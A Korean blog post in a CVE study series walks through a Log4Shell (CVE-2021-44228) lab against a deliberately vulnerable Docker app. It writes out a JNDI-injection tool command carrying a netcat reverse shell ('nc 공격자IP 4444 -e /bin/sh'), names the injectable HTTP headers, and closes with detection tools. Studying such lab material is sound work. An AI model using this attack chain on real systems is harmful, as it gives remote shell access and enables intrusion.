최근 보안에서 엄청나게 이슈가되었던 Log4j 취약점
마인크래프트에서도 발견되고 여러 기업, 공공기관에도 수많은 공격이 들어왔다고 한다.
공격 방법이 매우 간단하지만 시스템의 쉘을 가져올 수 있는 등 치명적인 공격이 가능하여
cve/cvss 점수도 최대점수인 10점이다.
실습은
준비물
1. JNDI-injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
Kali에서 취약한 도커 서버를 열어줌
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
열린 도커서버로 접근 하면 에러 페이지가 출력됨
어차피 취약한 도커라 기능은 상관없다.
이제 희생자 서버를 구축했으니 공격을 해보자
깃허브에서 받은 툴을 사용해서 LDAP서버를 열어야한다.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 공격자IP 4444 -e /bin/sh" -A 공격자IP
포트는 안쓰는 포트 아무거나 해도됨
-C 부터가 공격 command
LDAP 서버가 열렸다.
jdk 버전에 맞는 JNDI 링크를 이용해 log4j 공격을 하면된다.
헤더는
X-Api-Version
X-Powered-By
User-Agent
3개의 헤더가 공격이 가능한걸로 알려져있다 헤더가 없으면 직접 타이핑해서 삽입 후 패킷을 전송하면되고
대소문자 구분은 확실히
CVE가 발견됐을 당시 찍어뒀던 사진들이라 쉘 연결된 사진은 없지만
아까 jndi 인젝션 툴로 입력해뒀던 명령이 실행되어 공격자 IP에 nc로 리버스 쉘이 연결될 것이다.
실제 진단할 때는 jndi 툴을 사용하기보다는
Burp Suite의 Collaborator
헌트리스의
https://log4shell.huntress.com/
이런 도구와 웹을 이용해서 log4j에 취약한지 판단할 수 있다.
헌트리스나 콜라보레이터에 로그가 찍혔다면 인젝션이 유효한 것이다.
'CVE Study' 카테고리의 다른 글
[Apache Struts] CVE-2017-5638 아파치 스트럿츠2 RCE 취약점 (0) | 2022.04.28 |
---|---|
[Apache Tomcat] CVE-2022-22965 (Spring4Shell) 스프링 RCE 취약점 (0) | 2022.04.18 |
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) Part 2 (0) | 2022.03.17 |
[Apache Tomcat] CVE-2020-9484 (세션 역직렬화) (0) | 2022.02.03 |